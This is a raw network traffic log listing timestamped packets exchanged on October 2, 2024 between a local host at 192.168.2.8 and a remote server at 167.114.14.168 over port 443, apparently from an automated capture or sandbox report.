Oct 2, 2024 06:11:42.909933090 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:42.909940958 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.909976006 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:42.909993887 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:42.910353899 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.910377979 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.910418987 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:42.910423040 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.910459995 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:42.910475016 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:42.911412954 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.911434889 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.911478996 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:42.911484003 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.911528111 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:42.911528111 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:42.911950111 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.911971092 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.912020922 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:42.912025928 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.912048101 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:42.912128925 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:42.912497997 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.912518024 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.912556887 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:42.912561893 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.912595034 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:42.912614107 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:42.912781954 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.912802935 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.912844896 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:42.912848949 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.912878990 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:42.912904024 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:42.913480997 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.913501978 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.913549900 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:42.913553953 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.913585901 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:42.913605928 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:42.914144993 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.914164066 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.914211988 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:42.914216995 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.914242983 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:42.914262056 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:43.000571012 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.000600100 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.000660896 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:43.000669003 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.000703096 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:43.000722885 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:43.001451015 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.001467943 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.001517057 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:43.001524925 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.001553059 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:43.001570940 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:43.001708984 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.001725912 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.001764059 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:43.001770020 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.001800060 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:43.001816988 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:43.001948118 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.001967907 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.002011061 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:43.002017021 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.002048016 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:43.002075911 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:43.003026962 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.003043890 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.003096104 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:43.003103018 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.003144979 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:43.004159927 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.004180908 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.004228115 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:43.004234076 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.004276037 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:43.004645109 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.004663944 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.004708052 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:43.004714012 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.004743099 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:43.004777908 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:43.004995108 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.005019903 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.005068064 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:43.005073071 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.005105019 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:43.005125046 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:43.091665983 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.091710091 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.091744900 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:43.091752052 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.091780901 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:43.091799974 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:43.092025042 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.092042923 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.092084885 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:43.092091084 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.092120886 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:43.092134953 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:43.092700005 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.092715979 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.092761993 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:43.092767000 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.092797041 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:43.092806101 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:43.093128920 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.093144894 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.093319893 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:43.093326092 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.093374014 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:43.093844891 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.093861103 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.093938112 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:43.093943119 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.094024897 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:43.094705105 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.094721079 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.094758034 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:43.094763041 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.094786882 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:43.094810963 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:43.094980001 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.094996929 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.095041037 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:43.095047951 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.095091105 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:43.095563889 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.095596075 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.095632076 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:43.095637083 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.095704079 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:43.095704079 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:43.182235003 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.182262897 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.182328939 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:43.182338953 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.182364941 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:43.182391882 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:43.182944059 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.182960033 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.183000088 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:43.183005095 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.183041096 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:43.183058023 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:43.183510065 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.183525085 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.183573961 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.183590889 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:43.183597088 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.183633089 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:43.183665991 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:43.184631109 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.184644938 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.184699059 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:43.184705973 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.185305119 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.185323000 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.185355902 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:43.185360909 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.185395956 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:43.185591936 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.185611963 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.185643911 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:43.185650110 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.185676098 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:43.186319113 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.186347961 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.186376095 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:43.186382055 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.186417103 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:43.237186909 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:43.272737026 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.272756100 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.272826910 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:43.272840023 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.272900105 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:43.273257971 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.273272991 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.273323059 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:43.273329020 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.273360014 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:43.273380041 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:43.273591995 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.273607016 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.273669958 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:43.273675919 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.273718119 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:43.274063110 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.274076939 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.274121046 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:43.274126053 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.274157047 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:43.274183989 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:43.274583101 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.274599075 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.274652004 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:43.274657011 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.274687052 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:43.274719954 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:43.275115967 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.275130987 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.275197983 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:43.275203943 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.275244951 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:43.275697947 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.275715113 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.275751114 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:43.275755882 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.275788069 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:43.275825977 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:43.275963068 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.275979042 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.276046038 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:43.276051998 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.276096106 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:43.363424063 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.363442898 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.363507032 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:43.363522053 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.363565922 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:43.364073992 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.364106894 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.364137888 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:43.364145041 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.364176989 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:43.364197016 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:43.364583969 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.364599943 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.364676952 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:43.364676952 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:43.364682913 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.364733934 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:43.365199089 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.365214109 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.365274906 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:43.365279913 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.365328074 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:43.365834951 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.365850925 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.365901947 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:43.365907907 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.365936041 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:43.365952015 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:43.366463900 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.366485119 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.366518974 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:43.366524935 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.366561890 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:43.366689920 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:43.367053986 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.367069960 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.367121935 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:43.367129087 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.367185116 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:43.367538929 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.367553949 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.367608070 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:43.367614031 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.367666960 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:43.454189062 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.454221010 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.454265118 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:43.454271078 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.454325914 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:43.454716921 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.454734087 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.454783916 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:43.454790115 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.454842091 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:43.455205917 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.455220938 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.455281019 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:43.455286026 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.455327988 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:43.455472946 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.455487967 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.455545902 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:43.455552101 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.455593109 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:43.456098080 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.456115961 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.456203938 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:43.456203938 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:43.456211090 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.456366062 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:43.456558943 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.456573963 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.456614971 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:43.456620932 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.456650019 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:43.456665039 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:43.457174063 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.457189083 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.457256079 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:43.457262039 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.457324028 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:43.457505941 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.457521915 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.457580090 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:43.457586050 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.457623959 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:43.544922113 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.544943094 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.545008898 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:43.545022964 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.545068026 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:43.545505047 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.545521021 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.545583010 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:43.545589924 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.545645952 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:43.546152115 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.546165943 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.546202898 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:43.546209097 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.546238899 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:43.546256065 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:43.546806097 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.546824932 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.546884060 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:43.546890020 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.547005892 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:43.547379971 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.547419071 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.547440052 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:43.547488928 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:43.547492981 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.547652960 CEST	49723	443	192.168.2.8	167.114.14.168
